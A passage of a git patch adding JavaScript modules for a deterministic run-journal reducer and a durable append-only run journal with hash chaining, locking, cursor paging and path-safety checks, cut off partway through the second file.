+// reads no clock, and draws no randomness: identical inputs always reduce to +// the identical frozen state, so an exact journal replay after a crash or +// restart reproduces the exact derived state. +// +// Closed event kinds and payloads: +// run_opened {} (exactly seq 1) +// child_started { assignment_id } +// child_progress { assignment_id, note } +// child_artifact { assignment_id, artifact: { digest, bytes } } +// child_terminal { assignment_id, outcome } +// run_terminal { outcome } +// +// Artifact references are closed content-addressed shapes (digest plus byte +// length) only. This module never verifies artifact bytes (P08/P10), never +// invokes a scheduler or provider, and never reduces attention batches. +// +// The reducer enforces the logical hash-chain linkage (`prev` must equal the +// current head hash and `hash` must carry the journal hash shape); the +// cryptographic digest computation itself lives in run-journal.mjs so this +// module stays free of crypto and filesystem dependencies. + +import { + capturedCreate, + capturedFreeze, + capturedIncludes, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { ASSIGNMENT_ID_PATTERN } from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertPlainObject, + fail, + hasOwn, +} from './selection-json.mjs'; + +export const RUN_JOURNAL_ENTRY_SCHEMA_ID = 'codex-co-engineer.run-journal-entry.v1'; +export const RUN_JOURNAL_STATE_SCHEMA_ID = 'codex-co-engineer.run-journal-state.v1'; +export const RUN_JOURNAL_HASH_DOMAIN = 'codex-co-engineer.run-journal-hash.v1'; +export const RUN_JOURNAL_GENESIS_PREV = 'codex-co-engineer.run-journal.genesis.v1'; + +export const RUN_JOURNAL_EVENT_KINDS = capturedFreeze([ + 'run_opened', 'child_started', 'child_progress', 'child_artifact', + 'child_terminal', 'run_terminal', +]); +export const RUN_JOURNAL_OUTCOMES = capturedFreeze(['completed', 'failed', 'cancelled']); +export const MAX_RUN_JOURNAL_CHILDREN = 8; +export const MAX_RUN_JOURNAL_NOTE_BYTES = 64; +export const MAX_RUN_JOURNAL_DEDUPE_KEY_BYTES = 128; +export const MAX_RUN_JOURNAL_ARTIFACT_BYTES = 1_073_741_824; + +const NOTE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,62}$/u; +const DEDUPE_KEY_PATTERN = /^[\x21-\x7e]{1,128}$/u; +const HASH_SHAPE_PATTERN = SHA256_DIGEST_PATTERN; +const ENTRY_KEYS = capturedFreeze(['schema', 'seq', 'kind', 'data', 'dedupe_key', 'prev', 'hash']); +const STATE_KEYS = capturedFreeze([ + 'schema', 'revision', 'head_hash', 'run_opened', 'children', 'child_count', + 'event_counts', 'artifacts_total', 'artifact_bytes_total', 'run_outcome', + 'terminal', +]); + +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; + +function failReducer(code, path, message) { + fail(code, path, message); +} + +function assertSafePositiveInt(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || value < 1) { + failReducer('invalid_format', path, `${path} must be a positive safe integer.`); + } + return value; +} + +function assertHashShape(value, path, allowGenesis = false) { + if (typeof value !== 'string') { + failReducer('invalid_format', path, `${path} must be a hash chain string.`); + } + if (capturedTest(HASH_SHAPE_PATTERN, value)) return value; + if (allowGenesis && value === RUN_JOURNAL_GENESIS_PREV) return value; + failReducer('invalid_format', path, `${path} must be a sha256 digest or the genesis marker.`); +} + +function assertAssignmentId(value, path) { + if (typeof value !== 'string' || !capturedTest(ASSIGNMENT_ID_PATTERN, value)) { + failReducer('invalid_format', path, `${path} must match ${ASSIGNMENT_ID_PATTERN.source}.`); + } + return value; +} + +function assertClosedData(value, path, allowed) { + if (value === undefined || value === null || typeof value !== 'object' || Array.isArray(value)) { + failReducer('invalid_type', path, `${path} must be a plain JSON data object.`); + } + assertDirectJsonClosure(value, path); + assertPlainObject(value, 'invalid_type', path, path); + const keys = sortedCapturedKeys(value); + if (keys.length !== allowed.length) { + failReducer('unknown_key', path, `${path} must carry exactly the closed payload keys.`); + } + for (const key of keys) { + if (!capturedIncludes(allowed, key)) { + failReducer('unknown_key', `${path}.${key}`, `${path}.${key} is not part of the closed event payload.`); + } + } + return value; +} + +function assertNote(value, path) { + if (typeof value !== 'string' || !capturedTest(NOTE_PATTERN, value) + || capturedUtf8ByteLength(value) > MAX_RUN_JOURNAL_NOTE_BYTES) { + failReducer('invalid_format', path, + `${path} must be a bounded content-free progress note code.`); + } + return value; +} + +function assertDedupeKey(value, path) { + if (typeof value !== 'string' || !capturedTest(DEDUPE_KEY_PATTERN, value) + || capturedUtf8ByteLength(value) > MAX_RUN_JOURNAL_DEDUPE_KEY_BYTES) { + failReducer('invalid_format', path, + `${path} must be 1-128 printable ASCII characters without whitespace.`); + } + return value; +} + +function assertArtifactRef(value, path) { + if (value === undefined || value === null || typeof value !== 'object' || Array.isArray(value)) { + failReducer('invalid_type', path, `${path} must be a closed artifact reference object.`); + } + assertDirectJsonClosure(value, path); + const keys = sortedCapturedKeys(value); + if (keys.length !== 2 || keys[0] !== 'bytes' || keys[1] !== 'digest') { + failReducer('unknown_key', path, + `${path} must carry exactly the closed { bytes, digest } artifact reference shape.`); + } + if (typeof value.digest !== 'string' || !capturedTest(HASH_SHAPE_PATTERN, value.digest)) { + failReducer('invalid_format', `${path}.digest`, + `${path}.digest must be a sha256:<64 hex> content digest.`); + } + const bytes = value.bytes; + if (typeof bytes !== 'number' || !NUMBER_IS_SAFE_INTEGER(bytes) + || bytes < 1 || bytes > MAX_RUN_JOURNAL_ARTIFACT_BYTES) { + failReducer('invalid_format', `${path}.bytes`, + `${path}.bytes must be a safe integer within the bounded artifact size.`); + } + return { bytes, digest: value.digest }; +} + +// Validates one closed event payload for `kind` and returns the normalized +// frozen { kind, data } pair. Shared by append-time validation and replay. +export function validateRunJournalEventDataV1(kind, data) { + if (!capturedIncludes(RUN_JOURNAL_EVENT_KINDS, kind)) { + failReducer('invalid_format', 'kind', 'Event kind is not part of the closed run-journal vocabulary.'); + } + if (kind === 'run_opened') { + assertClosedData(data, 'data', []); + return { kind, data: {} }; + } + if (kind === 'run_terminal') { + const fields = assertClosedData(data, 'data', ['outcome']); + if (!capturedIncludes(RUN_JOURNAL_OUTCOMES, fields.outcome)) { + failReducer('invalid_format', 'data.outcome', + 'data.outcome must be a closed terminal run outcome.'); + } + return { kind, data: { outcome: fields.outcome } }; + } + if (kind === 'child_started') { + const fields = assertClosedData(data, 'data', ['assignment_id']); + return { + kind, + data: { assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id') }, + }; + } + if (kind === 'child_progress') { + const fields = assertClosedData(data, 'data', ['assignment_id', 'note']); + return { + kind, + data: { + assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id'), + note: assertNote(fields.note, 'data.note'), + }, + }; + } + if (kind === 'child_artifact') { + const fields = assertClosedData(data, 'data', ['assignment_id', 'artifact']); + return { + kind, + data: { + assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id'), + artifact: assertArtifactRef(fields.artifact, 'data.artifact'), + }, + }; + } + const fields = assertClosedData(data, 'data', ['assignment_id', 'outcome']); + if (!capturedIncludes(RUN_JOURNAL_OUTCOMES, fields.outcome)) { + failReducer('invalid_format', 'data.outcome', + 'data.outcome must be a closed terminal child outcome.'); + } + return { + kind, + data: { + assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id'), + outcome: fields.outcome, + }, + }; +} + +// Validates the closed envelope of one journal entry (shapes and formats +// only; chain linkage and lattice legality are enforced by reduction). +export function validateRunJournalEntryV1(entry) { + if (entry === undefined || entry === null || typeof entry !== 'object' || Array.isArray(entry)) { + failReducer('invalid_type', 'entry', 'A journal entry must be a plain JSON data object.'); + } + assertDirectJsonClosure(entry, 'entry'); + for (const key of sortedCapturedKeys(entry)) { + if (!capturedIncludes(ENTRY_KEYS, key)) { + failReducer('unknown_key', `entry.${key}`, `entry.${key} is not part of the closed entry shape.`); + } + } + for (const key of ['schema', 'seq', 'kind', 'data', 'prev', 'hash']) { + if (!hasOwn(entry, key)) failReducer('missing_key', `entry.${key}`, `entry.${key} is required.`); + } + if (entry.schema !== RUN_JOURNAL_ENTRY_SCHEMA_ID) { + failReducer('invalid_format', 'entry.schema', + `entry.schema must be exactly "${RUN_JOURNAL_ENTRY_SCHEMA_ID}".`); + } + const seq = assertSafePositiveInt(entry.seq, 'entry.seq'); + if (hasOwn(entry, 'dedupe_key')) assertDedupeKey(entry.dedupe_key, 'entry.dedupe_key'); + const { kind, data } = validateRunJournalEventDataV1(entry.kind, entry.data); + const prev = assertHashShape(entry.prev, 'entry.prev', true); + const hash = assertHashShape(entry.hash, 'entry.hash', false); + return { + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq, + kind, + data, + ...(hasOwn(entry, 'dedupe_key') ? { dedupe_key: entry.dedupe_key } : {}), + prev, + hash, + }; +} + +// The empty derived state. `head_hash` is the genesis marker until the first +// committed entry extends the chain. +export function emptyRunJournalStateV1() { + const counts = capturedCreate(null); + for (const kind of RUN_JOURNAL_EVENT_KINDS) counts[kind] = 0; + return { + schema: RUN_JOURNAL_STATE_SCHEMA_ID, + revision: 0, + head_hash: RUN_JOURNAL_GENESIS_PREV, + run_opened: false, + children: [], + child_count: 0, + event_counts: counts, + artifacts_total: 0, + artifact_bytes_total: 0, + run_outcome: null, + terminal: false, + }; +} + +function childIndex(state, assignmentId) { + for (let index = 0; index < state.children.length; index += 1) { + if (state.children[index].assignment_id === assignmentId) return index; + } + return -1; +} + +function childAt(state, assignmentId, path) { + const index = childIndex(state, assignmentId); + if (index < 0) { + failReducer('run_journal_child_unknown', path, + 'The event names a child that never started in this run journal.'); + } + return state.children[index]; +} + +function insertChildSorted(children, child) { + const index = children.findIndex((existing) => existing.assignment_id > child.assignment_id); + if (index < 0) return [...children, child]; + return [...children.slice(0, index), child, ...children.slice(index)]; +} + +function assertOpenAndLive(state) { + if (!state.run_opened) { + failReducer('run_journal_not_opened', 'kind', + 'The first journal entry must be a run_opened event.'); + } + if (state.terminal) { + failReducer('run_journal_terminal_absorbed', 'kind', + 'The run journal reached its absorbing terminal state; no further event is legal.'); + } +} + +// Applies one validated entry to `state` and returns the next frozen state. +// Throws typed RunContractV1Error values for dense-sequence violations, +// chain-linkage breaks, illegal lattice transitions, and terminal-absorption +// violations. Never mutates `state`. +export function applyRunJournalEntryV1(state, entry) { + const normalized = validateRunJournalEntryV1(entry); + if (normalized.seq !== state.revision + 1) { + failReducer('run_journal_sequence_invalid', 'entry.seq', + 'Journal entries must carry the next dense sequence number.'); + } + if (normalized.prev !== state.head_hash) { + failReducer('run_journal_chain_break', 'entry.prev', + 'The entry does not extend the current hash chain head.'); + } + const { kind, data } = normalized; + if (kind === 'run_opened') { + if (state.revision !== 0 || state.run_opened) { + failReducer('run_journal_transition_invalid', 'kind', + 'run_opened is legal only as the very first journal entry.'); + } + } else { + assertOpenAndLive(state); + } + const children = [...state.children]; + const eventCounts = { ...state.event_counts }; + let artifactsTotal = state.artifacts_total; + let artifactBytesTotal = state.artifact_bytes_total; + let runOutcome = state.run_outcome; + let terminal = state.terminal; + + if (kind === 'child_started') { + if (childIndex(state, data.assignment_id) >= 0) { + failReducer('run_journal_transition_invalid', 'data.assignment_id', + 'The child already started; starts are not repeatable.'); + } + if (state.child_count >= MAX_RUN_JOURNAL_CHILDREN) { + failReducer('run_journal_children_exceeded', 'data.assignment_id', + `A run journal binds at most ${MAX_RUN_JOURNAL_CHILDREN} children.`); + } + children.push({ + assignment_id: data.assignment_id, + started_seq: normalized.seq, + progress_events: 0, + artifact_events: 0, + artifact_bytes: 0, + outcome: null, + terminal_seq: null, + }); + children.sort((left, right) => (left.assignment_id < right.assignment_id ? -1 : 1)); + } else if (kind === 'child_progress' || kind === 'child_artifact') { + const index = childIndex(state, data.assignment_id); + if (index < 0) { + failReducer('run_journal_child_unknown', 'data.assignment_id', + 'The event names a child that never started in this run journal.'); + } + const child = children[index]; + if (child.outcome !== null) { + failReducer('run_journal_transition_invalid', 'data.assignment_id', + 'The child already reached an absorbing terminal outcome.'); + } + children[index] = kind === 'child_progress' + ? { ...child, progress_events: child.progress_events + 1 } + : { + ...child, + artifact_events: child.artifact_events + 1, + artifact_bytes: child.artifact_bytes + data.artifact.bytes, + }; + if (kind === 'child_artifact') { + artifactsTotal += 1; + artifactBytesTotal += data.artifact.bytes; + } + } else if (kind === 'child_terminal') { + const index = childIndex(state, data.assignment_id); + if (index < 0) { + failReducer('run_journal_child_unknown', 'data.assignment_id', + 'The event names a child that never started in this run journal.'); + } + const child = children[index]; + if (child.outcome !== null) { + failReducer('run_journal_transition_invalid', 'data.assignment_id', + 'The child outcome is already absorbing and cannot be rewritten.'); + } + children[index] = { ...child, outcome: data.outcome, terminal_seq: normalized.seq }; + } else if (kind === 'run_terminal') { + if (state.child_count < 1 || children.some((child) => child.outcome === null)) { + failReducer('run_journal_transition_invalid', 'kind', + 'run_terminal is legal only once every started child reached a terminal outcome.'); + } + runOutcome = data.outcome; + terminal = true; + } + + eventCounts[kind] += 1; + const next = { + schema: RUN_JOURNAL_STATE_SCHEMA_ID, + revision: normalized.seq, + head_hash: normalized.hash, + run_opened: kind === 'run_opened' ? true : state.run_opened, + children, + child_count: kind === 'child_started' + ? state.child_count + 1 + : state.child_count, + event_counts: eventCounts, + artifacts_total: artifactsTotal, + artifact_bytes_total: artifactBytesTotal, + run_outcome: runOutcome, + terminal, + }; + assertStateShape(next, 'state'); + return freezeState(next); +} + +// Validates the closed derived-state shape and its internal counter +// invariants. Used by the journal to audit a persisted state cache against +// tampering before the exact replay comparison. +export function validateRunJournalStateV1(state) { + return assertStateShape(state, 'state'); +} + +// Folds a full entry stream from the empty state. Exact replay primitive. +export function reduceRunJournalEntriesV1(entries) { + let state = freezeState(emptyRunJournalStateV1()); + for (const entry of entries) { + state = applyRunJournalEntryV1(state, entry); + } + return state; +} + +function assertStateShape(state, path) { + if (state === undefined || state === null || typeof state !== 'object' || Array.isArray(state)) { + failReducer('invalid_type', path, `${path} must be a plain derived-state object.`); + } + assertDirectJsonClosure(state, path); + for (const key of sortedCapturedKeys(state)) { + if (!capturedIncludes(STATE_KEYS, key)) { + failReducer('unknown_key', `${path}.${key}`, `${path}.${key} is not part of the closed derived state.`); + } + } + for (const key of STATE_KEYS) { + if (!hasOwn(state, key)) failReducer('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + if (state.schema !== RUN_JOURNAL_STATE_SCHEMA_ID) { + failReducer('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${RUN_JOURNAL_STATE_SCHEMA_ID}".`); + } + if (typeof state.revision !== 'number' || !NUMBER_IS_SAFE_INTEGER(state.revision) + || state.revision < 0) { + failReducer('invalid_format', `${path}.revision`, `${path}.revision must be a non-negative safe integer.`); + } + assertHashShape(state.head_hash, `${path}.head_hash`, true); + if (typeof state.run_opened !== 'boolean' || typeof state.terminal !== 'boolean') { + failReducer('invalid_type', `${path}.run_opened`, `${path} flags must be booleans.`); + } + if (!Array.isArray(state.children)) { + failReducer('invalid_type', `${path}.children`, `${path}.children must be an array.`); + } + if (state.children.length !== state.child_count) { + failReducer('invalid_format', `${path}.child_count`, + `${path}.child_count must equal the children array length.`); + } + if (state.child_count > MAX_RUN_JOURNAL_CHILDREN) { + failReducer('run_journal_children_exceeded', `${path}.child_count`, + `${path} binds at most ${MAX_RUN_JOURNAL_CHILDREN} children.`); + } + for (const child of state.children) { + if (child === null || typeof child !== 'object') { + failReducer('invalid_type', `${path}.children`, 'Child records must be plain objects.'); + } + assertAssignmentId(child.assignment_id, `${path}.child.assignment_id`); + assertSafePositiveInt(child.started_seq, `${path}.child.started_seq`); + for (const counter of ['progress_events', 'artifact_events', 'artifact_bytes']) { + if (typeof child[counter] !== 'number' || !NUMBER_IS_SAFE_INTEGER(child[counter]) + || child[counter] < 0) { + failReducer('invalid_format', `${path}.child.${counter}`, + `${path}.child.${counter} must be a non-negative safe integer.`); + } + } + if (child.outcome !== null && !capturedIncludes(RUN_JOURNAL_OUTCOMES, child.outcome)) { + failReducer('invalid_format', `${path}.child.outcome`, + `${path}.child.outcome must be null or a closed terminal outcome.`); + } + if ((child.outcome === null) !== (child.terminal_seq === null)) { + failReducer('invalid_format', `${path}.child.terminal_seq`, + `${path}.child terminal fields must agree.`); + } + } + const counts = state.event_counts; + if (counts === null || typeof counts !== 'object' || Array.isArray(counts)) { + failReducer('invalid_type', `${path}.event_counts`, `${path}.event_counts must be an object.`); + } + for (const kind of RUN_JOURNAL_EVENT_KINDS) { + const value = counts[kind]; + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || value < 0) { + failReducer('invalid_format', `${path}.event_counts.${kind}`, + `${path}.event_counts.${kind} must be a non-negative safe integer.`); + } + } + if (state.revision > 0 && !state.run_opened) { + failReducer('invalid_format', `${path}.run_opened`, + `${path} must stay run_opened once any entry is reduced.`); + } + if (state.run_outcome !== null && !capturedIncludes(RUN_JOURNAL_OUTCOMES, state.run_outcome)) { + failReducer('invalid_format', `${path}.run_outcome`, + `${path}.run_outcome must be null or a closed terminal outcome.`); + } + if ((state.run_outcome === null) !== !state.terminal) { + failReducer('invalid_format', `${path}.terminal`, `${path} terminal fields must agree.`); + } + let countedEvents = 0; + for (const kind of RUN_JOURNAL_EVENT_KINDS) countedEvents += counts[kind]; + if (countedEvents !== state.revision) { + failReducer('invalid_format', `${path}.event_counts`, + `${path}.event_counts must sum to the reduced revision.`); + } + let countedArtifacts = 0; + let countedArtifactBytes = 0; + let countedStarted = 0; + for (const child of state.children) { + countedArtifacts += child.artifact_events; + countedArtifactBytes += child.artifact_bytes; + countedStarted += 1; + } + if (countedArtifacts !== state.artifacts_total + || countedArtifactBytes !== state.artifact_bytes_total + || countedStarted !== counts.child_started) { + failReducer('invalid_format', `${path}.artifacts_total`, + `${path} artifact and child counters must match the reduced children.`); + } + return state; +} + +function freezeState(state) { + assertStateShape(state, 'state'); + const frozen = capturedFreeze({ ...state }); + capturedFreeze(frozen.children); + for (const child of frozen.children) capturedFreeze(child); + capturedFreeze(frozen.event_counts); + return frozen; +} + +capturedFreeze(validateRunJournalEventDataV1); +capturedFreeze(validateRunJournalEntryV1); +capturedFreeze(emptyRunJournalStateV1); +capturedFreeze(applyRunJournalEntryV1); +capturedFreeze(validateRunJournalStateV1); +capturedFreeze(reduceRunJournalEntriesV1); From cdc7ca618fc32641f824f5ba26906ab5708a32c5 Mon Sep 17 00:00:00 2001 From: Ox Alpha Date: Sat, 22 Aug 2026 22:24:01 +0000 Subject: [PATCH 021/151] feat(run): add durable append-only run journal with cursor paging Additive run-journal.mjs binds every create/open/append/read to an exact validated accepted-P24 durable run record (openRunStore handle plus the getByRunId result) by run identity and canonical digest before any journal path is created or read, and operates only inside one per-run private directory under a separate caller-supplied existing private journal root; sharing the P24 store root fails closed. A creation stamp bound to that record survives inode reuse, every operation re-verifies the bounded runs/ namespace, and all operations take the advisory lock, so deleted-and- recreated directories, foreign substitutions, and cross-process atomic replacement races fail or retry within bounds instead of ever observing a torn view. Entries are bounded canonical JSONL with dense sequences and a domain-separated SHA-256 hash chain over closed event and artifact-ref shapes. Appends serialize through an exclusive lock file with bounded dead-owner and age-capped stale recovery, a protected .lock- owner namespace that cleanup never touches, compare-and-swap expected_seq, exact head dedupe derived from the audited entry stream, typed replay and dedupe conflicts, and full lattice validation before any byte is written; publication is crash-safe (same-directory private temporary, complete write, file fsync, atomic rename, directory fsync) and verified byte-exact against the audited prefix plus one entry, then the derived state cache is published the same way, so crashes leave only unpublished temporaries or a stale cache. A torn unterminated final line is the only healable damage; any committed corruption or regression, malformed or foreign entry, symlink, hardlink, swap, or flood fails hard with typed constant errors. Cursors are opaque run-bound checksummed tokens rejecting tampering, staleness, and cross-run reuse; pages and diagnostics are bounded and content-free. --- .../codex-co-engineer/mcp/v3/run-journal.mjs | 1675 +++++++++++++++++ 1 file changed, 1675 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-journal.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs new file mode 100644 index 0000000..cf572a5 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs @@ -0,0 +1,1675 @@ +// Durable append-only run journal, cursor paging, and torn-tail healing (P25). +// +// Additive v3 module. Every create/open/append/read first binds an exact +// validated accepted-P24 durable run record (the `openRunStore(...)` handle +// plus the `getByRunId` result) by run identity and canonical digest, then +// operates on one per-run private directory inside a separate caller-supplied +// existing private journal root. The P24 store root is never written to and +// sharing it as the journal root fails closed, because the accepted P24 flat +// root rejects foreign entries. +// +// Storage layout (all paths derived only from validated identifiers): +// /runs//journal.jsonl append-only bounded canonical JSONL +// /runs//state.json atomically published derived state +// /runs//lock advisory cross-process lock file +// /runs//.tmp-<32hex> same-directory private temporaries +// +// Entries form a domain-separated SHA-256 hash chain with dense sequences. +// Appends serialize in-process and across processes through the lock, support +// compare-and-swap `expected_seq`, exact dedupe of the head entry, typed +// replay conflicts, and full lattice validation before any byte is written. +// Publication is crash-safe: same-directory temporary, complete write, file +// fsync, atomic rename, directory fsync, then the derived state is published +// the same way. A crash can therefore only leave an unpublished temporary or +// a stale state cache; a torn final line without its newline terminator is +// healed by truncation under the lock, while any committed corruption, +// regression, malformed or foreign entry, symlink, hardlink, root swap, or +// flood fails hard. Cursors are opaque run-bound checksummed tokens; pages +// are bounded and diagnostics are content-free counts. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, mkdir, open, opendir, rename, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + projectDispatchTelemetryV1, + validateDispatchProvenanceV1, + validateDispatchTelemetryV1, +} from './protected-telemetry.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + RUN_JOURNAL_ENTRY_SCHEMA_ID, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_HASH_DOMAIN, + applyRunJournalEntryV1, + reduceRunJournalEntriesV1, + validateRunJournalEventDataV1, + validateRunJournalEntryV1, + validateRunJournalStateV1, +} from './run-reducer.mjs'; +import { RUN_STORE_RECORD_KEYS, RUN_STORE_RECORD_SCHEMA_ID } from './run-store.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, +} from './selection-json.mjs'; + +export const RUN_JOURNAL_LOCK_SCHEMA_ID = 'codex-co-engineer.run-journal-lock.v1'; +export const RUN_JOURNAL_STAMP_SCHEMA_ID = 'codex-co-engineer.run-journal-created.v1'; +export const RUN_JOURNAL_CURSOR_DOMAIN = 'codex-co-engineer.run-journal-cursor.v1'; + +export const MAX_RUN_JOURNAL_ENTRIES = 512; +export const MAX_RUN_JOURNAL_ENTRY_BYTES = 4096; +export const MAX_RUN_JOURNAL_FILE_BYTES = MAX_RUN_JOURNAL_ENTRIES * (MAX_RUN_JOURNAL_ENTRY_BYTES + 1); +export const MAX_RUN_JOURNAL_PAGE_EVENTS = 64; +export const MAX_RUN_JOURNAL_PAGE_BYTES = 65_536; +export const MAX_RUN_DIRECTORIES = 256; +export const MAX_RUN_JOURNAL_STATE_BYTES = 262_144; +export const MAX_RUN_JOURNAL_CURSOR_CHARS = 512; +export const MAX_RUN_JOURNAL_TEMPORARIES = 8; +export const MAX_RUN_JOURNAL_DIRECTORY_ENTRIES = 16; +export const MAX_RUN_JOURNAL_ROOT_ENTRIES = 8; +export const MAX_RUN_JOURNAL_LOCK_BYTES = 160; +export const MAX_RUN_JOURNAL_STAMP_BYTES = 256; +export const MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES = 160; +export const RUN_JOURNAL_LOCK_WAIT_MS = 2_000; +export const RUN_JOURNAL_LOCK_POLL_MS = 10; +export const RUN_JOURNAL_LOCK_MAX_AGE_MS = 30_000; +export const MAX_RUN_JOURNAL_LOCK_STEALS = 4; + +const JOURNAL_NAME = 'journal.jsonl'; +const STATE_NAME = 'state.json'; +const LOCK_NAME = 'lock'; +const STAMP_NAME = 'created.json'; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const LOCK_OWNER_NAME_PATTERN = /^\.lock-[0-9a-f]{32}$/u; +const HEX_PATTERN = /^[0-9a-f]{64}$/u; +const BASE64URL_PATTERN = /^[A-Za-z0-9_-]+$/u; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); +const FILE_WRITE_FLAGS = fsConstants.O_RDWR + | (fsConstants.O_NOFOLLOW ?? 0); + +const MAX_AUDIT_ATTEMPTS = 24; + +const JOURNAL_CHAINS = new Map(); + +// Internal-only signal: the observed bytes were replaced atomically while +// being read. Callers retry; it never escapes the module. +class JournalVolatility extends Error {} + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES); +} + +function failJournal(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, code, message) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') failJournal('run_journal_not_found', field, 'The run journal path does not exist.'); + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failJournal('run_journal_unsafe_path', field, 'The run journal path is not a real directory entry.'); + } + failJournal(code, field, message); +} + +// --------------------------------------------------------------------------- +// Path and filesystem safety +// --------------------------------------------------------------------------- + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failJournal('run_journal_unsafe_path', 'root', 'Journal root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failJournal('run_journal_foreign_entry', field, 'Journal directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failJournal('run_journal_path_unsafe', field, 'Journal names must be single path components.'); + } + if (utf8ByteLength(name) > 80) { + failJournal('run_journal_foreign_entry', field, 'Journal filename exceeds the bounded length.'); + } + return name; +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failJournal('run_journal_path_unsafe', 'name', 'Journal child path escaped the private root.'); + } + return joined; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failJournal('run_journal_unsafe_path', field, `The journal ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_unsafe_path', field, `The journal ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failJournal('run_journal_unsafe_path', field, + `The journal ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_not_regular', field, 'Journal files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failJournal('run_journal_not_regular', field, 'Journal files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_unsafe_path', field, 'Journal files must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failJournal('run_journal_unsafe_path', field, 'Journal files must be owner-only.'); + } +} + +async function openDirectoryHandle(dirPath, field) { + let handle; + try { + handle = await open(dirPath, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, field, 'run_journal_unsafe_path', 'The journal directory could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertPrivateDirectory(stat, field, 'directory'); + return { handle, path: dirPath, dev: stat.dev, ino: stat.ino, mode: 